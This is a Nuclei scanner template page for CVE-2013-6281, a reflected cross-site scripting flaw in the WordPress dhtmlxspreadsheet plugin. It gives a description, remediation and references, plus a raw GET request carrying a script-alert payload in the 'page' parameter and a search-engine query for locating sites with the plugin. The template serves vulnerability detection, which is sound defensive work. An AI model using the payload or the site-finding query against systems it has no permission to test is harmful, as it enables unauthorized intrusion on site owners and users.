WordPress Spreadsheet - Cross-Site Scripting

ID: CVE-2013-6281

Severity: medium

Author: random-robbie

Tags: cve2013,cve,wp,wpscan,wordpress,xss,wp-plugin,dhtmlx

Description

WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php.

YAML Source

id: CVE-2013-6281

info:
  name: WordPress Spreadsheet - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress site, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Spreadsheet plugin to the latest version, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/49785932-f4e0-4aaa-a86c-4017890227bf
    - https://wordpress.org/plugins/dhtmlxspreadsheet/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6281
    - https://nvd.nist.gov/vuln/detail/CVE-2013-6281
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-6281
    cwe-id: CWE-79
    epss-score: 0.0028
    epss-percentile: 0.68344
    cpe: cpe:2.3:a:dhtmlx:dhtmlxspreadsheet:2.0:-:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dhtmlx
    product: dhtmlxspreadsheet
    framework: wordpress
    google-query: inurl:/wp-content/plugins/dhtmlxspreadsheet
  tags: cve2013,cve,wp,wpscan,wordpress,xss,wp-plugin,dhtmlx

http:
  - raw:
      - |
        GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "page: '<script>alert(document.domain)</script>'"
          - "dhx_rel_path"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203fba21c8232df729c007666ade6531856a6eb6397516c8b3edef40e89658304a022100a07672df5f07b5c46fe4c2e9aae5db72ab807021f11fcffba17c4f669b6d2d6c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2013/CVE-2013-6281.yaml"

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